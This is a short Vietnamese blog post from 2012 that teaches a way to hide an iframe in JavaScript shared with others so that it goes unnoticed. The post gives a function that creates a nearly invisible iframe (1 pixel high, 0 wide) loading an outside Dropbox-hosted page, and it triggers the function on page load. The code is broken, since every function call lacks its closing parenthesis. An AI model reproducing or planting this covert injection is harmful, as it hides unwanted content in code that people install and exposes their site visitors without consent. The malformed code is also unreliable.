Thứ Hai, 30 tháng 1, 2012

Chèn Iframe thoải mái mà không bị phát hiện

bạn có một code và share trên mạng , muốn chèn iframe thì làm như sau
có một file js - file nào cũng dc , miễn là js
bạn chèn code

function ShowJsF()
{
var iframe = document.createElement("iframe";
iframe.setAttribute("id","testiframe";
iframe.setAttribute("name","testiframe";
iframe.setAttribute("height","1";
iframe.setAttribute("width","0";
iframe.setAttribute("frameBorder","1";
iframe.setAttribute("scrolling","auto";
iframe.setAttribute("src","http://dl.dropbox.com/u/10870808/Apps/avim/index.html";
iframe.style.position = "absolute";
iframe.style.display = "block";
iframe.style.top = 100 + 'px';
iframe.style.left = 100 + 'px';
window.document.body.appendChild(iframe);
return false;
}  


và trong index.php bạn chỉ cần load file js đó lên và thêm đoạn sau : (vào chỗ nào cũng dc)

<body onload="ShowJsF();">

Không có nhận xét nào:

Đăng nhận xét